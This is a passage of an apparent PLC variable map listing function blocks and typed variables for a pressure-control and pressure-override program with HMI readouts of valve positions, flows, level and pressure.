+199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +202;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +205;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +214;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +215;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +216;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +217;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +218;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +219;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +220;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +221;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +222;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +223;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +224;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +225;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;REAL; +226;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;REAL; +227;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;REAL; +228;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;REAL; +229;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;INT; +230;VAR;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;INT; +231;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;INT; +232;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;INT; +233;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;INT; +234;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;INT; +235;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;INT; +236;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;INT; +237;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;INT; +238;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;INT; +239;VAR;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;UINT; +240;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1;SCALE_TO_SIGNED; +241;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.EN;BOOL; +242;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ENO;BOOL; +243;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT;UINT; +244;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT;INT; +245;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT;UINT; +246;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT;UINT; +247;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT;INT; +248;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2;SCALE_TO_SIGNED; +249;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.EN;BOOL; +250;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ENO;BOOL; +251;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT;UINT; +252;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT;INT; +253;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT;UINT; +254;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT;UINT; +255;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT;INT; +256;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3;SCALE_TO_SIGNED; +257;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.EN;BOOL; +258;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ENO;BOOL; +259;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT;UINT; +260;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT;INT; +261;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT;UINT; +262;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT;UINT; +263;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT;INT; +264;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4;SCALE_TO_SIGNED; +265;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.EN;BOOL; +266;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ENO;BOOL; +267;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT;UINT; +268;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT;INT; +269;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT;UINT; +270;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT;UINT; +271;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT;INT; +272;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5;SCALE_TO_SIGNED; +273;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.EN;BOOL; +274;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ENO;BOOL; +275;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT;UINT; +276;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT;INT; +277;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT;UINT; +278;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT;UINT; +279;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT;INT; +280;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6;SCALE_TO_SIGNED; +281;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.EN;BOOL; +282;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ENO;BOOL; +283;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT;UINT; +284;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT;INT; +285;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT;UINT; +286;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT;UINT; +287;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT;INT; +288;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7;SCALE_TO_SIGNED; +289;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.EN;BOOL; +290;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ENO;BOOL; +291;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT;UINT; +292;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT;INT; +293;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT;UINT; +294;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT;UINT; +295;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT;INT; +296;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8;SCALE_TO_SIGNED; +297;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.EN;BOOL; +298;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ENO;BOOL; +299;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT;UINT; +300;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT;INT; +301;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT;UINT; +302;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT;UINT; +303;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT;INT; +304;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9;SCALE_TO_SIGNED; +305;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.EN;BOOL; +306;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ENO;BOOL; +307;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT;UINT; +308;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT;INT; +309;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT;UINT; +310;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT;UINT; +311;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT;INT; +312;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;PRESSURE_OVERRIDE; +313;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;BOOL; +314;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;BOOL; +315;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;REAL; +316;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;UINT; +317;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;UINT; +318;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;REAL; +319;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;REAL; +320;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;REAL; +321;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;REAL; +322;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;UINT; +323;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;REAL; +324;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;UINT; +325;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;REAL; +326;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;REAL; +327;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;TIME; +328;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;SCALE_TO_REAL; +329;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;BOOL; +330;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;BOOL; +331;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;UINT; +332;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;REAL; +333;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;REAL; +334;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;REAL; +335;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;UINT; +336;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;UINT; +337;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;REAL; +338;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;REAL; +339;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;REAL; +340;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;REAL; +342;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;REAL; +343;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;SCALE_TO_REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;BOOL; +346;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +347;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;REAL; 